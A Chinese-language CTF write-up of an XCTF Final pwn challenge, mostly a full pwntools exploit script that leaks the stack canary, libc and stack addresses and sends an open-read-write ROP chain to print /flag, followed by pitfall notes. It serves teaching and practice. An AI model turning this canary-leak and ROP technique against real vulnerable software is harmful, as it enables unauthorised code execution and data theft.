这个题目在XCTF Final KoH环节是被作为竞速赛题出的,当时看一眼就知道是简单的整数溢出和栈溢出,不过队内Web大师傅太给力了直接秒题进入下一环节,直接看KoH去了,赛后复现一下。
题目给了libc
canary + nx + pie
开了沙箱,只能orw
很明显是个整数溢出 + 栈溢出
一共有四次循环,思路:
leak canary
leak libc 寻找所需的gadgets
leak stack address 构造一个
/flag\x00
填充canary 并构造 rop chain 实现orw
先放脚本
from pwn import *
from icecream import ic
import time
context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug')
context.arch = 'amd64'
context.endian = 'little'
gen_gdb_breakpoint = lambda f: "".join([f'b *{hex(i)}\n' for i in f])[:-1]
gen_gdb_rebase_breakpoint = lambda f: "".join([f'b *$rebase({hex(i)})\n' for i in f])[:-1]
gen_continue = lambda count=1: "".join([f'\nc\n' for i in range(count)])[:-1]
p = process(['./sp2'], aslr=True)
libc = ELF('./libc.so.6')
# send
sd = lambda m : p.send(m)
sda = lambda a, m : p.sendafter(a, m)
sdl = lambda m : p.sendline(m)
sdls = lambda m : p.sendlines(m)
sdla = lambda a, m : p.sendlineafter(a, m)
# recv
rv = lambda n=None: p.recv(n)
rvn = lambda n : p.recvn(n)
rvu = lambda m : p.recvuntil(m, drop=True)
rvl = lambda : p.recvline()
# p
pi = lambda : p.interactive()
# gdb attach
gab = lambda *f : gdb.attach(p, gen_gdb_breakpoint(f))
gabr = lambda *f : gdb.attach(p, gen_gdb_rebase_breakpoint(f))
# ! 1. leak canary
sda(b'size> ', str(0x8200).encode())
sleep(0.1)
payload = cyclic(0x110 - 8)
payload += cyclic(0x1)
sd(payload)
leak_canary = rv()[len(payload):][:7].rjust(8, b'\x00')
ic(hex(u64(leak_canary)))
# ! 2. leak libc
sleep(0.1)
sd(str(0x8200).encode() + b'a' * (0xf - 5))
payload = cyclic(0x110)
payload += cyclic(0x8)
sd(payload)
leak_libc_main = rv()[len(payload):][:6].ljust(8, b'\x00')
ic(hex(u64(leak_libc_main)))
libc.address = u64(leak_libc_main) - 128 - libc.sym['__libc_start_main']
# 页对齐 libc.address % 0x1000 == 0
libc.address = libc.address - libc.address % 0x1000 + 0x1000
ic(hex(libc.address))
pop_rax_ret = libc.address + 0x045eb0
pop_rdi_ret = libc.address + 0x02a3e5
pop_rsi_ret = libc.address + 0x02be51
pop_rdx_rbx_ret = libc.address + 0x090529
syscall_ret = libc.address + 0x09D549
# ! 3. leak stack address
sleep(0.1)
sd(str(0x8200).encode() + b'a' * (0xf - 5))
payload = cyclic(0x110)
payload += cyclic(0x8 * 8)
sd(payload)
leak_stack_addr = rv()[len(payload):][:6].ljust(8, b'\x00')
leak_stack_addr = u64(leak_stack_addr)
leak_stack_addr -= 0x228
ic(hex(leak_stack_addr))
# * rop chain
"""
open("/flag", 0, 0)
read(3, leak_stack_addr, 0x100)
write(1, leak_stack_addr, 0x100)
"""
rop = flat([
pop_rax_ret, constants.SYS_open,
pop_rdi_ret, leak_stack_addr,
pop_rsi_ret, 0,
pop_rdx_rbx_ret, 0, 0,
syscall_ret,
pop_rax_ret, constants.SYS_read,
pop_rdi_ret, 3,
pop_rsi_ret, leak_stack_addr,
pop_rdx_rbx_ret, 0x100, 0,
syscall_ret,
pop_rax_ret, constants.SYS_write,
pop_rdi_ret, 1,
pop_rsi_ret, leak_stack_addr,
pop_rdx_rbx_ret, 0x100, 0,
syscall_ret,
])
# ! 4. restore canary
sleep(0.1)
sd(str(0x8200).encode() + b'a' * (0xf - 5))
payload = b'/flag'.ljust(8, b'\x00')
payload += cyclic(0x110 - 8 - 8)
payload += leak_canary
payload += cyclic(0x8)
payload += rop
sd(payload)
pi()
leak canary
canary 低字节为
\x00
所以栈溢出覆盖掉\x00
就能拿到canary# ! 1. leak canary
sda(b'size> ', str(0x8200).encode())
sleep(0.1)
payload = cyclic(0x110 - 8)
payload += cyclic(0x1)
sd(payload)
leak_canary = rv()[len(payload):][:7].rjust(8, b'\x00')
ic(hex(u64(leak_canary)))
leak libc
从return addr 栈溢出拿到
_libc_start_main
继而拿到libc addressrop chain
比较容易,libc中有大量gadgets,恢复下canary 构造rop chain完事
# * rop chain
"""
open("/flag", 0, 0)
read(3, leak_stack_addr, 0x100)
write(1, leak_stack_addr, 0x100)
"""
rop = flat([
pop_rax_ret, constants.SYS_open,
pop_rdi_ret, leak_stack_addr,
pop_rsi_ret, 0,
pop_rdx_rbx_ret, 0, 0,
syscall_ret,
pop_rax_ret, constants.SYS_read,
pop_rdi_ret, 3,
pop_rsi_ret, leak_stack_addr,
pop_rdx_rbx_ret, 0x100, 0,
syscall_ret,
pop_rax_ret, constants.SYS_write,
pop_rdi_ret, 1,
pop_rsi_ret, leak_stack_addr,
pop_rdx_rbx_ret, 0x100, 0,
syscall_ret,
])
# ! 4. restore canary
sleep(0.1)
sd(str(0x8200).encode() + b'a' * (0xf - 5))
payload = b'/flag'.ljust(8, b'\x00')
payload += cyclic(0x110 - 8 - 8)
payload += leak_canary
payload += cyclic(0x8)
payload += rop
sd(payload)
几个坑
leak libc需要页对齐即
address % 0x1000 == 0
这题
read
nbytes 太大需要开aslr
不然栈空间不够,read
会直接返回-1